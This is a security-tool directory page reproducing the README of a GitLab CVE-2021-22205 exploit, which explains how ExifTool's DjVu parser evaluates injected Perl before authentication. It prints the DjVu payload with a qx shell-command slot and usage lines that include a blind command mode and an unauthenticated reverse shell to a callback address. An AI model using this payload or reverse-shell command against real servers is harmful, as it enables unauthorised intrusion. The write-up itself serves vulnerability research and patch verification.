Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-22205 — Unauthenticated RCE in GitLab CE/EE from 11.9 (fixed in 13.8.8, 13.9.6, 13.10.3) via the bundled ExifTool (CVE-2021-22204). Pure-Python DjVu builder, no djvulibre. Unauth and authenticated vectors, non-destructive check. | Kitploit
ツール/GitHubGitHub/d4ytox/cve-2021-22205
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingRemote Access Tool
GitHubd4ytox/cve-2021-22205

CVE-2021-22205

Unauthenticated RCE in GitLab CE/EE from 11.9 (fixed in 13.8.8, 13.9.6, 13.10.3) via the bundled ExifTool (CVE-2021-22204). Pure-Python DjVu builder, no djvulibre. Unauth and authenticated vectors, non-destructive check.

12026年11月10日未レビュー
共有
リポジトリを見るウェブサイト
要求された言語のコンテンツは利用できません。英語版を表示しています。

CVE-2021-22205 - GitLab ExifTool command injection

GitLab hands uploaded images to a bundled copy of ExifTool to strip metadata. ExifTool mishandles a DjVu annotation chunk and runs part of it as Perl (CVE-2021-22204), so an uploaded "image" executes commands as the git user. The upload is parsed before the request is authenticated, so no account is needed.

Affects GitLab CE and EE 11.9 through 13.8.7, 13.9 through 13.9.5, and 13.10 through 13.10.2. Fixed in 13.8.8, 13.9.6 and 13.10.3.

The bug

GitLab routes every upload through gitlab-workhorse first. HandleFileUploads in workhorse/internal/upload/uploads.go is called from a PreAuthorizeHandler context, so it runs before any authentication or routing check. When the uploaded file looks like a JPEG or TIFF, workhorse calls down to exif.go, which shells out to ExifTool to remove metadata.

ExifTool treats a file by its content, not its name, so a file sent as x.jpg that actually begins with the DjVu magic AT&TFORM is parsed as DjVu. Image::ExifTool::AIFF::ProcessAIFF walks the IFF chunks and dispatches the ANTa annotation chunk to Image::ExifTool::DjVu::ParseAnt. That parser resolves C escape sequences in a quoted string by handing it straight to eval (DjVu.pm, pre-fix line 233):

# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};

$tok is bytes from the file. The line above it tries to neutralise $ and @ so interpolation cannot reach code, but it never escapes a ". William Bowling's original payload exploits that: a backslash followed by a newline satisfies the parser's "was the quote escaped?" check ($ in the regex matches before a trailing newline), which appends a raw " into the token. The injected quote closes the string early and everything after it is evaluated as Perl:

(metadata
	(Copyright "\
" . qx#COMMAND# . \
" b ") )

qx#...# is a shell command run by Perl. The # is the quote delimiter, which is the only character the command itself cannot contain. ExifTool's own fix in 12.24 removed the eval entirely and replaced it with an eight-entry escape table, so the sink is gone rather than filtered.

GitLab's patch did not touch the pre-auth reachability. It added isTIFF and isJPEG content checks so a DjVu file is rejected before it reaches ExifTool, and it bundled a fixed ExifTool. An unpatched server runs ExifTool on the file and answers 422; a patched one rejects it earlier and answers 404. That difference is what --check reads.

Usage

python3 exploit.py -t http://target --check             # is it vulnerable? drops nothing
python3 exploit.py -t http://target -c 'id'             # unauthenticated, blind
python3 exploit.py -t http://target -s 10.10.14.5 4444  # unauthenticated reverse shell
python3 exploit.py -t http://target -u user -p pass -c 'id' --vector auth

Execution is blind: nothing of the command's output comes back in the HTTP reply. Use -s for a shell, or redirect output somewhere you can reach.

ExifTool runs on a queue, so a command can take a few seconds to fire. A reverse shell holds the connection open.

Vectors

VectorReachable byNotes
unauth (default)anonymousPOSTs the file to a random path at web root. No session, no CSRF token, not a real endpoint.
autha logged-in user (-u/-p)POSTs to /uploads/user with a scraped CSRF token. Only useful where anonymous upload is blocked by something in front of GitLab, since the bug itself needs no login.

Requirements

Python 3 and requests.

Affected versions

FieldValue
CVECVE-2021-22205 (GitLab), chaining CVE-2021-22204 (ExifTool)
AdvisoryGitLab security release, 14 April 2021
Affected>=11.9 <13.8.8 || >=13.9 <13.9.6 || >=13.10 <13.10.3
Fixed in13.8.8, 13.9.6, 13.10.3
ExifTool7.44 through 12.23, fixed in 12.24
CVSS v3.19.9 at release, raised to 10.0 on 21 September 2021 when it was reclassified from authenticated to unauthenticated
CWECWE-94
CISA KEVAdded 3 November 2021

Origin

RoleWho
Reported to GitLab byWilliam Bowling (vakzz), via the GitLab bug bounty programme - HackerOne #1154542
ExifTool fix byPhil Harvey, ExifTool 12.24
Unauthenticated path documented byJacob Baines, Rapid7 - root cause analysis
This implementation byd4ytox

References

  • GitLab security release, 14 April 2021
  • GitLab: action needed in response to CVE-2021-22205 - the affected-version list and the in-the-wild confirmation
  • William Bowling's report, HackerOne #1154542 - the original DjVu payload
  • Rapid7 root cause analysis - why the upload reaches ExifTool before authentication
  • NVD - CVE-2021-22205
  • NVD - CVE-2021-22204 - the ExifTool half
  • The ExifTool 12.24 fix - removes the eval from the DjVu reader

Licence

MIT, see LICENSE. The grant covers this implementation. GitLab and ExifTool carry their own licences

Legal

For authorised testing and research only. Running this against a system you do not own, or do not have written permission to test, is illegal in most places. The exploit uploads a file and executes a command on the target, and it leaves the upload and log entries behind. Remove anything you drop when you are done.

ツールをダウンロード

関連ツール

  • metasploit-framework

    オープンソースのエクスプロイテーションフレームワークで、ペネトレーションテスト、脆弱性検証、ネットワークやアプリケーションにわたるセキュリティ研究のためのモジュラー型ペイロード、エンコーダー、および補助システムを備えています。

  • donut

    x86、x64、またはAMD64+x86の位置独立型シェルコードを生成し、.NETアセンブリ、PEファイル、およびその他のWindowsペイロードをメモリから読み込んでパラメータ付きで実行します。

  • sRDI

    Reflective DLL Injection のシェルコード実装。DLL を位置独立シェルコードに変換します。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

  • 1

    Callisto

    jetp1ane/callisto

    Ghidraを介して実行可能ファイルを逆コンパイルし、Semgrepで擬似Cコードをスキャンし、GPT-3.5-Turboを使用して検出結果を検証することで誤検知を低減する、自動化されたバイナリ脆弱性解析ツール。

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock ワンタップ実行アプリ(CVE-2026-43499)

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    不正なGSMセルを展開してSMSを傍受し、メッセージを注入し、モバイル端末を追跡するIMSI Catcherプラットフォーム

    721
  • 4

    opencti

    opencti-platform/opencti

    オープンサイバー脅威インテリジェンスプラットフォーム

    535
  • 5

    ARTEX

    baarai/artex

    プランナー/ワーカーエージェント、資産グラフと探索グラフ、MITMトラフィック記録、脆弱性の再テストを備えたLLMマルチエージェント自律ペネトレーションテストプラットフォーム。

    424
  • 6

    DFRoot

    a2333c/dfroot

    Samsung Galaxy S25 Ultra (SM-S938B) 向けの Android root ツール。DirtyFrag CVE-2026-43284 と CVE-2026-43499 を連鎖させ、KernelSU 経由で起動時に自動的に root を取得します。

    419

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →